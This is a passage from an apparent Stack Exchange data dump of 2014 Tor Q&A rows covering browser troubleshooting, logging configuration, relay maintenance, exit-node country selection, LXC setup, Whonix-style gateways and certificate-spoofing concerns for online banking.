  <row Id="4152" PostTypeId="2" ParentId="1758" CreationDate="2014-09-18T14:17:14.823" Score="0" Body="&lt;p&gt;Tor browser uses two executable files at once, and if one of these is running, but not the other, the Tor browser displays that same message for me when I try to start it up. (Sometimes when I close Tor Browser, it ends one of these processes but not the other for some reason.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To shut down the processes, open the task manager, click the &quot;Processes&quot; tab, and find &quot;tor.exe *32,&quot; and end the process, also find &quot;firefox.exe *32&quot; and end it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you've said you restarted your computer and now have this problem (usually restarting the computer ends both of these processes), I would guess that torouter is correct in saying that you have a background process of firefox trying to update or something like that, and you will need to end it, too.&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2014-09-18T14:17:14.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4153" PostTypeId="2" ParentId="4087" CreationDate="2014-09-18T14:36:56.260" Score="0" Body="&lt;p&gt;There are at least three distinct possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 1: The adversaries add relays for the purpose of surveillance, snooping and/or spying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option 2: The adversaries compromise otherwise acceptable relays for the purpose of surveillance, snooping and/or spying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 3: The adversaries add relays for above purpose and compromise other relays for the above purpose simultaneously or otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you consider option 2, your argument is not applicable at all. Multiple adversaries may have compromised many relays, some of the the relays maybe compromised by multiple adversaries. It is logical that these are relays with the largest bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your question you have mentioned at least three adversaries interested in attacking Tor, I suggest the numbers are at least in dozens and at least five of them are colluding (The five eyes, namely US, UK, Canada, Australia, and New Zealand). Looking at this scenario I see little comfort in concluding that, they will dilute each other significance. On the contrary, this collusion will significantly increase their significance. You should understand that at times even non-colluding adversaries do have a business dealings, and they may sell their information to the other adversaries for a price (not necessarily monetary price but sometimes for political, or tactical advantage and sometimes you scratch my back and I scratch your back situation). In conclusion, compromised relays by any adversary is a significant tribulation and there is no solace in which adversary is compromising which relay.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-09-18T15:42:49.940" LastActivityDate="2014-09-18T15:42:49.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4154" PostTypeId="1" CreationDate="2014-09-18T18:07:47.890" Score="1" ViewCount="91" Body="&lt;p&gt;I am somewhat new to Tor and am now using it for everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen old posts recommending it not be used for online banking etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience with cryptography, this seems ludicrous except for one point: certificate authorization spoofing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can certificate authorization be spoofed?  If not, how is this prevented?&lt;/p&gt;&#xA;" OwnerUserId="3609" LastActivityDate="2014-10-26T18:45:30.427" Title="Certificate authorization spoofing" Tags="|verification|certificate|spoofing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4155" PostTypeId="1" CreationDate="2014-09-18T21:37:38.813" Score="3" ViewCount="2581" Body="&lt;p&gt;More specifically, my ISP is NTT Open Computer Network and I am currently using the internet in my dorm, which is technically off-campus. I really have NO IDEA what restrictions there are in regards to NSFW stuff (nothing illegal, just the typical stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Tor prevent my ISP from knowing that I am browsing NSFW stuff? I don't want to get in trouble, since my Internet might still be considered &quot;school internet&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="923" LastEditDate="2014-09-19T03:18:00.387" LastActivityDate="2014-09-19T03:18:00.387" Title="Is it safe to browse Reddit's NSFW with Tor in JAPAN?" Tags="|anonymity|security|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4156" PostTypeId="2" ParentId="4155" CreationDate="2014-09-18T22:06:50.443" Score="2" Body="&lt;p&gt;Yes, Tor will hide your browsing from your ISP, although it might be better to ask your school administrators if pornography is allowed -as Tor might be too slow for you. Usually VPN's are much more fitting in cases like this.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-18T22:06:50.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4157" PostTypeId="1" CreationDate="2014-09-19T00:21:22.043" Score="4" ViewCount="136" Body="&lt;p&gt;I am running Debian Jessie and running TBB 3.6.5. This can be known by running &lt;code&gt;torbrowser-launcher&lt;/code&gt; . I am using the torbrowser-launcher as packaged in Debian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On studying the manual, I came to know that the log by default only shows warnings. Something like :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 19 01:24:55.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable; NOROUTE; count 519; recommendation warn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The manual page tells that you could do some more things :-&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, Tor starts out logging messages at level &quot;notice&quot; and&#xA;  higher to the console. It stops doing so after it parses its&#xA;  configuration, if the configuration tells it to log anywhere else. You&#xA;  can override this behavior with the --hush option, which tells Tor to&#xA;  only send warnings and errors to the console, or with the --quiet&#xA;  option, which tells Tor not to log to the console at all.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Other options can be specified on the command-line in the format&#xA;  &quot;--option value&quot;, in the format &quot;option value&quot;, or in a configuration&#xA;  file. For instance, you can tell Tor to start listening for SOCKS&#xA;  connections on port 9999 by passing --SOCKSPort 9999 or SOCKSPort 9999&#xA;  to it on the command line, or by putting &quot;SOCKSPort 9999&quot; in the&#xA;  configuration file. You will need to quote options with spaces in&#xA;  them: if you want Tor to log all debugging messages to debug.log, you&#xA;  will probably need to say --Log debug file debug.log.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now the first thing seems to be that Tor is not documented on the CLI itself. It took me quite sometime to understand where the Tor browser is in my system and aliased it to make it more accessible. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ alias tor&#xA;alias tor='/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/start-tor-browser'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to see if there were any --help triggers but found it wanting :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./start-tor-browser --help&#xA;usage: ./start-tor-browser [--debug]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So can somebody share with me some examples of the different types of entries&#xA;in the log, for example if I use WARN/DEBUG/INFO/TRACE. I also don't know if all the different characteristics are allowed or only one of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another query, do I need to have multiple logs or a single log can have all the different characteristics I want to know and understand.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to knowing more. As of right now, my objective is to first get the logs happening which is not happening, see the follow-up question, only then can I come back to this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow-up question :- &lt;a href=&quot;https://tor.stackexchange.com/questions/4160/follow-up-question-why-my-log-is-not-showing-tor-notices-log-and-tor-traces-log&quot;&gt;Follow-up question: Why my log is not showing tor_notices.log and tor_traces.log?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="112" LastEditDate="2014-09-28T19:38:32.820" LastActivityDate="2014-09-28T19:38:32.820" Title="What kind of different information can be had/ascertained in the logs with the various entries in logs" Tags="|tor-browser-bundle|configuration|debian|log|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4158" PostTypeId="2" ParentId="4157" CreationDate="2014-09-19T03:22:59.240" Score="4" Body="&lt;p&gt;The different levels are as follows (&lt;a href=&quot;https://stem.torproject.org/api/util/log.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Docs&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ERROR     critical issue occurred, the user needs to be notified&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WARN     non-critical issue occurred that the user should be aware of&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTICE   information that is helpful to the user&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;INFO   high level library activity&lt;/p&gt;&#xA;&lt;p&gt;DEBUG  low level library activity&lt;/p&gt;&#xA;&lt;p&gt;TRACE  request/reply logging&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Warn means that an issue occurred such as not being able to make a circuit. A notice is just information that user might find useful such as bootstrapping being complete.&lt;/p&gt;&#xA;&lt;p&gt;These are by no means the only warnings or notices.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-09-19T03:35:19.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4159" PostTypeId="2" ParentId="3766" CreationDate="2014-09-19T03:56:23.033" Score="2" Body="&lt;p&gt;Internet traffic (HTTP) is transmitted via port 80. Tor and Apache (or another web server) do not share ports well, because of problems with intercepting each others traffic, etc. You can either change the port of your web server, which I don't recommend, or change the port of Tor.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-09-19T03:56:23.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4160" PostTypeId="1" AcceptedAnswerId="19776" CreationDate="2014-09-19T05:30:40.143" Score="4" ViewCount="409" Body="&lt;p&gt;I asked &quot;&lt;a href=&quot;https://tor.stackexchange.com/questions/4157/please-explain-the-different-log-types-specifically-warn-and-notice&quot;&gt;Please Explain the Different Log Types, Specifically Warn and Notice&lt;/a&gt;&quot; and saw &quot;&lt;a href=&quot;https://tor.stackexchange.com/questions/1443/how-can-i-set-up-logging-with-latest-tor-browser/&quot;&gt;How can I set up logging with latest Tor Browser?&lt;/a&gt;&quot;. I set it the same way in my &lt;code&gt;torrc&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep log /etc/tor/torrc | grep -v &quot;^#&quot;&#xA;Log notice file /var/log/tor/tor_notices.log&#xA;Log trace file /var/log/tor/tor_traces.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now either there is something with the way I structured it or something else. After doing this, I restarted the system (guessing that the daemon would restart) and went to &lt;code&gt;/var/log/tor&lt;/code&gt; hoping to find the two new logs that I have told about in my &lt;code&gt;/etc/tor/torrc&lt;/code&gt; but wasn't able to find them :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/log/tor# ls&#xA;log  log.1  log.2.gz  log.3.gz  log.4.gz  log.5.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="88" LastEditDate="2014-09-23T07:43:33.140" LastActivityDate="2019-05-12T20:36:53.447" Title="Follow-up question: Why my log is not showing tor_notices.log and tor_traces.log?" Tags="|tor-browser-bundle|configuration|debian|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4161" PostTypeId="1" CreationDate="2014-09-19T06:23:13.910" Score="1" ViewCount="402" Body="&lt;p&gt;How do I safely update a Tor relay installed on a VPS with Debian? (I don't want to lose the ID, because I'm taking part in the EFF Tor Challenge). &lt;/p&gt;&#xA;" OwnerUserId="3673" LastEditorUserId="923" LastEditDate="2014-09-19T18:14:21.220" LastActivityDate="2014-09-19T18:14:21.220" Title="How to safely update Tor relay installed on VPS with Debian?" Tags="|relays|debian|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4162" PostTypeId="2" ParentId="4161" CreationDate="2014-09-19T08:36:55.727" Score="2" Body="&lt;p&gt;If you installed it via apt you can easily update it with &lt;code&gt;apt-get upgrade&lt;/code&gt;.&#xA;Your fingerprint shouldn't get lost during that process.&#xA;For safety reasons backup your private key file. It is in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/keys/secret_id_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3648" LastEditDate="2014-09-19T08:44:00.100" LastActivityDate="2014-09-19T08:44:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4163" PostTypeId="1" AcceptedAnswerId="4164" CreationDate="2014-09-19T10:05:27.343" Score="1" ViewCount="3806" Body="&lt;p&gt;I am having the same problem as &lt;a href=&quot;https://tor.stackexchange.com/questions/1075/what-happened-to-vidalia&quot;&gt;this&lt;/a&gt;. I downloaded Tor Browser Version 3.6.5 for Windows 7 and I can't find the Vidalia anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use Tor to watch BBC iplayer - just as the guides from these links below,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://abraskidabra.com/watch-bbc-iplayer-from-a-non-uk-ip-address-using-ubuntu-and-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://abraskidabra.com/watch-bbc-iplayer-from-a-non-uk-ip-address-using-ubuntu-and-tor/&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=8vwCv0N7R-Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=8vwCv0N7R-Q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them require Vidalia which I can't find it in the Tor bundle anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can still watch BBC iplayer using Tor browser?&lt;/p&gt;&#xA;" OwnerUserId="3674" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-21T03:16:17.683" Title="Tor Browser Bundle Version 3.6.5 for BBC iPlayer?" Tags="|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4164" PostTypeId="2" ParentId="4163" CreationDate="2014-09-19T10:44:25.930" Score="3" Body="&lt;p&gt;Vidalia isn't included anymore in the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you don't really need Vidalia for this workaround.&#xA;As I could see in the HowTo everything you have to do is edit the torrc.&#xA;So that you are using Tor on Windows 7 the torrc lies under:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[TorDirectory Here]/Data/Tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just open it in notepad or something similar and add the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {GB}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save it and restart your Tor Browser Bundle.&#xA;You now have configured your Tor to only exit over Great Britain nodes without needing Vidalia :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I hope you are aware of the fact that the Tor network might be too slow for the iPlayer. So you or (more likely) the iPlayer has to buffer sometimes.&#xA;It also wouldn't be good for the whole network as this player needs a lot of bandwidth.&#xA;Setting up a VPN in GB would be a better and more stable solution for this.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3648" LastEditDate="2014-09-19T12:35:55.320" LastActivityDate="2014-09-19T12:35:55.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4165" PostTypeId="2" ParentId="1758" CreationDate="2014-09-19T21:41:46.223" Score="-1" Body="&lt;p&gt;ctr alt delete than click that manager or whatever is called. click services and find Tor and Firefox and close them.&lt;/p&gt;&#xA;" OwnerUserId="3677" LastEditorUserId="923" LastEditDate="2014-09-19T23:38:08.610" LastActivityDate="2014-09-19T23:38:08.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4166" PostTypeId="1" AcceptedAnswerId="4191" CreationDate="2014-09-19T22:17:51.730" Score="4" ViewCount="2329" Body="&lt;p&gt;Since today I've got a very strange warning in my log files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 19 23:16:48.372 [Warning] Received http status code 404 (&quot;Consensus not signed by sufficient number of requested authorities&quot;) from server '212.112.245.170:80' while fetching consensus directory.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I receive this warning after I tried to switch my OR and Dir ports to 80 and 443 (which failed) to warrant accessibility for clients that are restricted through a firewall that blocks other ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS: Windows Server 2012 R2 Enterprise&#xA;Tor platform: Vidalia relay bundle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question now is:&#xA;Does it affect my relay in any way of and if this warning can be solved, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any tips or hints on this.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="923" LastEditDate="2014-09-19T23:50:16.703" LastActivityDate="2014-09-23T07:39:14.647" Title="Warning in log file &quot;Consensus not signed by sufficient number of requested authorities&quot;" Tags="|relays|windows|vidalia|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4167" PostTypeId="1" CreationDate="2014-09-19T22:48:26.777" Score="1" ViewCount="1765" Body="&lt;p&gt;How can I force the Tor showed only that my IP is from China? Was once an option (atlas globe and countries), now I have no idea where and how to set it up so that Tor indicate in which country I find myself doing it at random. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="3678" LastEditorUserId="923" LastEditDate="2014-09-19T23:42:11.380" LastActivityDate="2014-09-21T04:29:42.530" Title="Set my IP to show from China" Tags="|configuration|" AnswerCount="2" CommentCount="0" ClosedDate="2014-09-23T07:13:34.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="4168" PostTypeId="2" ParentId="4167" CreationDate="2014-09-20T00:13:45.177" Score="3" Body="&lt;p&gt;You can choose which node as your exit , but there is no exit node located in mainland China. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following line in your torrc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExitNodes {hk}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information on Tor website: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2014-09-20T00:13:45.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4169" PostTypeId="1" AcceptedAnswerId="4190" CreationDate="2014-09-20T06:30:40.867" Score="5" ViewCount="12330" Body="&lt;p&gt;I have college wifi when I use Skype it gets connected and after some time gets disconnected. This happen repeatedly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know Can I use Tor to avoid this problem ? I am not sure but may be Tor fix the disconnection problem.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2016-04-18T11:46:07.730" Title="Can I use skype using Tor?" Tags="|tor-browser-bundle|" AnswerCount="6" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4170" PostTypeId="2" ParentId="4169" CreationDate="2014-09-20T11:08:02.370" Score="4" Body="&lt;p&gt;You can use Skype with Tor, but your connection quality might suffer because of the low connection speed. It may make your problem worse.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-20T11:08:02.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4171" PostTypeId="1" CreationDate="2014-09-20T15:53:35.550" Score="1" ViewCount="1118" Body="&lt;p&gt;I tried to set up a Tor relay node on my server running Debian squeeze with Linux containers for better maintainability. Installing from main repository and Tor repository failed. In debug.log there is only one error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[err] /dev/null can't be opened. Exiting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have full access to /dev/null in the container, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/home of=/dev/null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works proper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config of the lxc container is with option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lxc.cgroup.devices.allow = c 1:3 rwm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, does anybody got an idea whats wrong there?&lt;/p&gt;&#xA;" OwnerUserId="3684" LastEditorUserId="923" LastEditDate="2014-09-20T16:02:27.007" LastActivityDate="2014-09-20T20:17:38.143" Title="Running Tor on lxc-based virtual infrastructure" Tags="|relays|debian|" AnswerCount="1" CommentCount="1" ClosedDate="2014-09-22T05:42:37.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="4172" PostTypeId="2" ParentId="3873" CreationDate="2014-09-20T15:56:08.730" Score="1" Body="&lt;p&gt;In your &lt;code&gt;torrc&lt;/code&gt; you can use the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExcludeExitNodes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ExcludeExitNodes&lt;/code&gt; directive&lt;/a&gt; to exclude the 'strongest' exit node(s) that you want to avoid.&lt;br&gt;&#xA;Alternatively you can use the &lt;code&gt;ExitNodes&lt;/code&gt; directive to specify a set that you want to use, but that is probably more work and not necessary.&lt;br&gt;&#xA;Additionally you can set &lt;code&gt;StrictNodes 1&lt;/code&gt;. This will force your Tor client to honor the &lt;code&gt;ExitNodes&lt;/code&gt; and &lt;code&gt;ExcludeExitNodes&lt;/code&gt; even if that means failure to create a circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably the closest you can get to what you want in an easy way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not good enough and you're willing to spend some time and effort and research and wizardry on it, you could look at using the &lt;code&gt;SETCONF&lt;/code&gt; command to change the exit node restrictions over the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Control Protocol&lt;/a&gt;. Write a script that periodically parses the consensus, applies your personal logic to come up with a set of acceptable exit nodes, picks one (or better: a few), sets that (those) as your exit(s).&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="923" LastEditDate="2014-11-20T08:55:05.217" LastActivityDate="2014-11-20T08:55:05.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4173" PostTypeId="1" AcceptedAnswerId="4227" CreationDate="2014-09-20T17:48:51.367" Score="3" ViewCount="1075" Body="&lt;p&gt;I run a relay on a NAS box in my network. It is setup so that I can use it as a client from other machines in my network:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[NOTICE] You configured a non-loopback address for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(I'm sure this is what I wanted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set Tor Browser to use my relay as the SOCKS5 proxy, through &lt;code&gt;Preferences&lt;/code&gt; in the Tor Button, everything seems to work fine: I can browse .onion sites, and I can tell that it does in fact use my relay as the Tor client, but Tor Browser says:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Something Went Wrong!&lt;br&gt;&#xA;  Tor is not working in this browser.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does Tor Browser test for that fails when using a different / non-local Tor as the client?&lt;br&gt;&#xA;Is this a bad thing to do? Does it in any way hurt security or anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT to add: When I switch back to 'Use recommended proxy settings' and then relaunch TBB, I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Congratulations!&lt;br&gt;&#xA;  This browser is configured to use Tor.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;again as normal.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2014-09-20T17:56:26.280" LastActivityDate="2014-09-28T05:35:48.767" Title="Using Tor Browser with alternate Tor client - works but issues warning" Tags="|tor-browser-bundle|socks|client|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4174" PostTypeId="2" ParentId="4171" CreationDate="2014-09-20T20:17:38.143" Score="1" Body="&lt;p&gt;Ok, i got it... the permissions inside the LXC is different to the hosts permisssons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the host has 0666 on /dev/null, the container has read-only access. It is a bit strange because the lxc config file has something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lxc.cgroup.devices.allow = c 1:3 rwm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for /dev/null.&lt;/p&gt;&#xA;" OwnerUserId="3684" LastActivityDate="2014-09-20T20:17:38.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4175" PostTypeId="1" CreationDate="2014-09-20T21:24:37.107" Score="1" ViewCount="1563" Body="&lt;p&gt;I know Whonix has a virtual machine that connects to the gateway which is like a router that sends everything into Tor. How could I make a gateway like that so I can connect a VM(like workstation) to it and it will send the traffic through Tor. Also how will I set the other VM(workstation one) to the gateway VM?&#xA;I will be using Virtualbox.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="923" LastEditDate="2014-09-21T01:59:33.730" LastActivityDate="2014-09-22T08:44:15.470" Title="How to make a system like Whonix?" Tags="|whonix|network-configuration|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4176" PostTypeId="2" ParentId="4175" CreationDate="2014-09-20T23:18:55.303" Score="2" Body="&lt;p&gt;There are multiple correct answers to a question like this because its vauge. If you want a whonix copy why not use whonix? One other easy way to build a gateway would be to download the openwrt x86 iso and install it to its own virtual machine, then install and configure tor as a transparent proxy, then configure your networking to use the interfaces on that machine for outgoing Internet access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also do it with debian, or tails or liberte linux distros which are preconfigured with a lot of things you'd want. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-20T23:18:55.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4177" PostTypeId="2" ParentId="4167" CreationDate="2014-09-21T04:29:42.530" Score="0" Body="&lt;p&gt;As noted by the previous response, there does not appear to be any exit node based in China. Looking at the network map in Validia, there are presently about 15 exit nodes in Hong Kong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a HK-based IP address won't suffice, you may do well to consider finding a Chinese-based proxy using proxychains, so the chain becomes Tor &gt; Chinese Proxy. Alternatively, you could configure Tor to connect through an SSH tunnel or VPN. In all instances, your final IP would be one located in mainland China. &lt;/p&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2014-09-21T04:29:42.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4178" PostTypeId="2" ParentId="4154" CreationDate="2014-09-21T05:29:27.147" Score="1" Body="&lt;p&gt;As it has been some time since I have had any experience with this sort of thing, it is unclear what exactly you mean by &quot;certificate spoofing&quot;. However, from my understanding of MITM attacks, the implementation of the more secure &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&quot; rel=&quot;nofollow&quot;&gt;HSTS&lt;/a&gt; protocol used by Google et al. mitigates against many of the attacks using methods such as sslstrip. I'm not sure if banks also employ this protocol, although they most certainly should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, the addon &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow&quot;&gt;HTTPS Everywhere&lt;/a&gt; comes standard with the TBB and you may want to review your configuration of this addon if this is a concern. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure both of these implementations in tandem obviate the threat you speak of, and I'm not entirely sure that they protect you from quality forged certificates bought on the black market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may wish to the assess the strength of your own bank's SSL implementation at the &lt;a href=&quot;https://www.ssllabs.com/ssltest/index.html&quot; rel=&quot;nofollow&quot;&gt;Quallys SSL Labs&lt;/a&gt; website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above concerns notwithstanding, I believe that this comment of yours may be the far more relevant reason as to why you shouldn't be accessing your online banking account. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am somewhat new to Tor and am now using it for everything.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The purpose of Tor is to protect your anonymity, something that is completely undermined by your use of &lt;em&gt;any&lt;/em&gt; account linked to your real-world identity. If some person were to connect to, say, your Facebook account using Tor, then we could be almost certain that this hitherto anonymous individual was actually... well, none other than you.&lt;/p&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2014-09-21T05:29:27.147" 